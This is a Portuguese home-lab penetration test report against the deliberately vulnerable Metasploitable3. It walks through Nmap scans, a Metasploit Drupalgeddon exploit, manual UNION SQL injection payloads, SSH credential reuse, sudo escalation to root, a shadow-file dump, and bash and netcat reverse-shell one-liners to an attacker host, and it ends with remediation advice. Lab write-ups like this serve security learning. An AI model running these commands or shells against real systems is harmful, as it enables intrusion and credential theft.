
Relatório de teste de penetração em home-lab do Metasploitable3 cobrindo reconhecimento com Nmap, RCE do Drupalgeddon, injeção de SQL, reutilização de credenciais SSH, escalonamento de privilégios via sudo e reverse shells.
Autor: Arlen Fortunato
Data: Setembro de 2026
Ambiente: Parrot OS (atacante) → Metasploitable3 Ubuntu 14.04 (alvo)
Escopo: Teste de penetração de rede completo — enumeração, exploração, privesc, pós-exploração
Tipo: Home Lab / Prática de Capture The Flag
⚠️ Todas as credenciais abaixo estão censuradas. Este foi um exercício legal e isolado em home-lab.
| Ferramenta | Função |
|---|---|
| Nmap | Varredura de portas, detecção de serviço/versão, fingerprint de SO |
| Metasploit (msfconsole) | Exploração (CVE-2014-3704), gerenciamento de sessões |
| msfvenom | Geração de payload (reverse shells bash/netcat) |
| nc (netcat) | Listener de reverse shell |
| curl / sed | Criação manual de SQLi + formatação de saída HTML |
| ssh / scp | Acesso remoto, validação de credenciais |
| openssl s_client | Verificação de serviço TLS/SSL |
| gobuster | Força bruta de diretórios (enumeração web) |
nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>
SO: Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64
Vulnerabilidade: O UnrealIRCd 3.2.8.1 foi historicamente distribuído com um binário trojanizado que executa comandos arbitrários quando um cliente não autenticado envia uma string de gatilho antes do registro — RCE como o usuário do daemon IRC.
Tentativa de exploração: Módulo Metasploit exploit/unix/irc/unreal_ircd_3281_backdoor com payloads cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash. A verificação automática do módulo reportou o serviço como vulnerável; nenhuma sessão retornou em nenhum payload.
Solução de problemas realizada:
nc -vz)openssl s_client)nc retornou erro de protocolo IRC 451 — comando interpretado como comando IRC, nunca executadoConclusão: O banner de versão indica a build vulnerável, mas o backdoor está ausente nesta instância (binário limpo/recompilado). Classificado como não explorável — falso positivo, com evidências.
Vulnerabilidade: O Drupal 7.x anterior ao 7.32 contém uma injeção SQL crítica na camada de abstração de banco de dados, permitindo execução remota de código não autenticada.
Confirmação de versão: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"
Exploração:
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run
Resultado:
getuid → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd → /var/www/html/drupal
Enumeração pós-exploração:
/var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin//home: 16 contas de usuárioVulnerabilidade: Formulário de login do payroll_app.php, injeção SQL no campo de senha. Nenhuma automação utilizada — criada via curl.
Passo 1 — Bypass de autenticação:
' or 1=1#
' fecha a string SQL, or 1=1 força verdadeiro, # comenta a aspa final.
Passo 2 — Contagem de colunas + mapeamento de exibição:
' UNION SELECT null, null, null, null# -- sem erro = 4 colunas
' UNION SELECT 1, 2, 3, 4# -- marcadores: 1=Username, 2=First, 3=Last, 4=Salary
Passo 3 — Enumeração do information_schema:
| Pergunta | Resposta |
|---|---|
| Versão do BD / usuário | MySQL 5.5.62, root@localhost |
Passo 4 — Dump (senhas censuradas):
' UNION SELECT username, password, salary, null FROM users#
Caminho 1 — Conta padrão: par de credenciais padrão vagrant autenticado via SSH → usuário no grupo sudo com (ALL : ALL) NOPASSWD: ALL.
Caminho 2 — Reutilização de credenciais: credenciais obtidas do dump de SQLi autenticaram diretamente via SSH como outro usuário do lab (luke_skywalker, grupo sudo, (ALL : ALL) ALL).
Significância: demonstra reutilização de credenciais entre serviços — credenciais de aplicação mapeadas para uma conta de sistema.
vagrant → sudo -l mostra NOPASSWD: ALL → sudo su - → uid=0(root).luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).Nenhum exploit local necessário — ambas as contas possuem permissões sudo excessivamente permissivas.
sudo cat /etc/shadow
Extraídos 16 hashes md5crypt ($1$) — coleta completa de credenciais após privesc.
Payload 1 — bash:
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
Capturado em nc -lnvp 4444 → shell interativo.
Payload 2 — netcat (named-pipe):
mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo
Capturado em nc -lnvp 4445 → shell interativo.
Mecanismo: named pipe (FIFO) conecta stdin/stdout do netcat ao /bin/sh, formando um túnel bidirecional de socket único; FIFO removido após o uso.
Todos os testes foram realizados exclusivamente em um home lab isolado usando software intencionalmente vulnerável (Rapid7 Metasploitable3). Nenhum sistema de produção ou alvo não autorizado foi envolvido. Este relatório é apenas para fins educacionais e desenvolvimento pessoal de habilidades.
| Porta | Estado | Serviço | Versão |
|---|
| 21/tcp | aberta | FTP | ProFTPD 1.3.5 |
| 22/tcp | aberta | SSH | OpenSSH 6.6.1p1 |
| 80/tcp | aberta | HTTP | Apache httpd 2.4.7 (Ubuntu) |
| 445/tcp | aberta | SMB | Samba smbd 3.X–4.X |
| 631/tcp | aberta | IPP | CUPS 1.7 |
| 3306/tcp | aberta | MySQL | MySQL (não autorizado) |
| 3500/tcp | aberta | HTTP | WEBrick httpd 1.3.1 (Ruby 2.3.8) |
| 6697/tcp | aberta | IRC | UnrealIRCd |
| 8080/tcp | aberta | HTTP | Jetty 8.1.7.v20120910 |
| # | Vulnerabilidade | CVE / Tipo | Porta | Severidade | Resultado |
|---|
| 1 | Fingerprint de versão do UnrealIRCd — sondagem de backdoor | CVE-2010-2075 | 6697 | ⚠️ Falso positivo | Verificação automática do módulo passou, sondagem manual falhou — backdoor ausente na build |
| 2 | Drupal 7.5 — Drupageddon RCE | CVE-2014-3704 | 80 | 🔴 Crítica | Shell Meterpreter como www-data |
| 3 | Aplicação de folha de pagamento — SQLi UNION (manual) | Injeção manual | 80 | 🔴 Crítica | Dump completo do BD (15 usuários, senhas em texto claro — censuradas) |
| 4 | SSH — credenciais padrão + reutilizadas | Padrão / reutilização de credenciais | 22 | 🔴 Crítica | vagrant (NOPASSWD sudo), luke_skywalker (sudo ALL) |
| 5 | Escalação de privilégios (dois caminhos) | sudo mal configurado | N/A | 🔴 Crítica | root via ambas as contas |
| 6 | Dump do shadow | Pós-exploração | N/A | 🔴 Crítica | 16 hashes md5crypt extraídos |
| 7 | Reverse shells (bash + netcat) | msfvenom / criação manual | 4444/4445 | 🟠 Alta | Shells interativos capturados no listener do atacante |
| Bancos de dados | information_schema, drupal, mysql, payroll, performance_schema |
Tabelas em payroll | users |
Colunas em users | username, first_name, last_name, password, salary |
| Username | Senha | Salário |
|---|
| leia_organa | [CENSURADO] | 9560 |
| luke_skywalker | [CENSURADO] | 1080 |
| han_solo | [CENSURADO] | 1200 |
| artoo_detoo | [CENSURADO] | 22222 |
| boba_fett | [CENSURADO] | 20000 |
| greedo | [CENSURADO] | 50000 |
| (+ 9 outras contas) | [CENSURADO] | — |
| Achado | Recomendação |
|---|
| Fingerprint de versão do UnrealIRCd | Verificar integridade da origem do binário (checksums); atualizar ou remover |
| Drupal 7.5 | Atualizar para a versão estável mais recente; aplicar SA-CORE-2014-005 |
| SQLi na folha de pagamento | Consultas parametrizadas / prepared statements; validar entrada |
| Credenciais SSH padrão | Rotacionar/remover contas padrão; exigir autenticação por chave |
| Sudo com privilégios excessivos | Aplicar princípio do menor privilégio; remover concessões NOPASSWD irrestritas |
| Reutilização de credenciais | Exigir senhas únicas por serviço; política de senhas |
| Hashing de senha fraco | Migrar md5crypt → bcrypt / Argon2id |